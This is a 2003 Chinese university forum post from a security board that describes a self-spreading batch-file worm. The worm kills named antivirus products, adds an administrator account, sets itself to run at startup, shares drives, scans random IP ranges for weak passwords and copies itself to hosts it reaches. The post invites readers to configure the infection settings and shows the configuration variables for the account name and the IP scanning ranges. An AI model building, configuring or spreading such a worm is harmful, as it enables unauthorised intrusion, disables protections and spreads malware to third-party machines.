● Re: 来研究下这段code - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: sonicboy (sonicboy), 信区: Security
标  题: Re: 来研究下这段code
发信站: 荔园晨风BBS站 (Thu May 29 19:40:26 2003)

1、杀死本地杀毒程序的进程。
2、在本地添加一个用户名。
3. 把自身复制到启动项。
4. 共享C D E F 盘
4、随即生成一个IP地址。
5、扫描弱口令。
7、复制自身到目标主机，并执行。

可以杀掉瑞星、金山、天网和赛门铁克。
大家可以自己配置感染部分
SET addadmin=worm 为你要建立的用户

    SET ADDR1=254  //循环IP第一部分
    SET ADDR2=254  //循环IP第二部分
    SET ADDR3=254  //循环IP第三部分
    SET ADDR4=254  //循环IP第四部分

    SET SORI=1     //随机开关，如果是4则以第四部分为上限，生成192.168.0.1--ADD
R4中的
                     随机地址，所其为3，则第三部分和第四部分都是随机，以此类推
。默认为全世界。
--
HIHI!I AM SONICBOY,MY QQ IS 28860.MY BBS : http://waterclub.126.com
SONICBOY EDONKEY SERVER:61.144.225.74:4661
※ 来源:．荔园晨风BBS站 http://bbs.szu.edu.cn [FROM: 61.144.235.40]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店